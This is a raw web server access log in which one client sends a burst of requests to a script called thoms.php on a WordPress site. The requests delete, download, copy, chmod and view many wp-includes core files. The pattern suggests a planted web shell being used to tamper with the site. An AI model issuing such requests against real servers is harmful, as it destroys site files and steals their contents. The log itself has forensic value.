45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59431 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:24 -0400] "GET /thoms.php?del=script-loader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59387 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:25 -0400] "GET /big-wife.com.tw/wp-includes/l10n/ HTTP/1.1" 200 1306 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fdate.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fdate.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:25 -0400] "GET /thoms.php?del=block-i18n.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:25 -0400] "GET /thoms.php?del=class-wp-block.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:25 -0400] "GET /thoms.php?chmod=revision.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:25 -0400] "GET /thoms.php?del=class-wp-exception.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /big-wife.com.tw/wp-includes/block-bindings/ HTTP/1.1" 200 949 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /thoms.php?chmod=sitemaps&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /big-wife.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /thoms.php?chmod=date.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /thoms.php?del=script-modules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59389 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 200 12315 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59377 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /thoms.php?chmod=class-wp-icon-collections-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icon-collections-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /thoms.php?dl=class-avif-info.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:26 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:27 -0400] "GET /thoms.php?dl=abilities-api.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:27 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:27 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:27 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:27 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:27 -0400] "GET /thoms.php?dl=class-wp-term.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:27 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59378 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-patterns.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-patterns.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:28 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:28 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:28 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fwp-diff.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fwp-diff.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:29 -0400] "GET /thoms.php?dl=rewrite.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:29 -0400] "GET /thoms.php?del=category-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59324 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:29 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:29 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 200 16599 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:29 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:29 -0400] "GET /thoms.php?chmod=theme-previews.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:29 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:29 -0400] "GET /thoms.php?dl=feed-atom.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59310 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:29 -0400] "GET /thoms.php?del=theme.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?del=theme.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:30 -0400] "GET /big-wife.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:30 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:30 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59359 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /big-wife.com.tw/wp-includes/l10n.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /big-wife.com.tw/wp-includes/class-IXR.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /thoms.php?del=class-wp-walker.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /big-wife.com.tw/wp-includes/ms-files.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /big-wife.com.tw/wp-includes/SimplePie/ HTTP/1.1" 200 872 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:31 -0400] "GET /thoms.php?chmod=ms-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:32 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 200 39870 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:32 -0400] "GET /big-wife.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:32 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 200 61333 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:32 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:32 -0400] "GET /thoms.php?del=class-wp.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fabilities-api&p= HTTP/1.1" 200 12310 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fabilities-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fatomlib.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fatomlib.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:32 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 200 17040 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:32 -0400] "GET /thoms.php?del=utf8.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=utf8.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /big-wife.com.tw/wp-includes/rest-api/ HTTP/1.1" 200 1355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FText&p= HTTP/1.1" 200 12312 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /thoms.php?del=locale.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=locale.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 200 14308 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
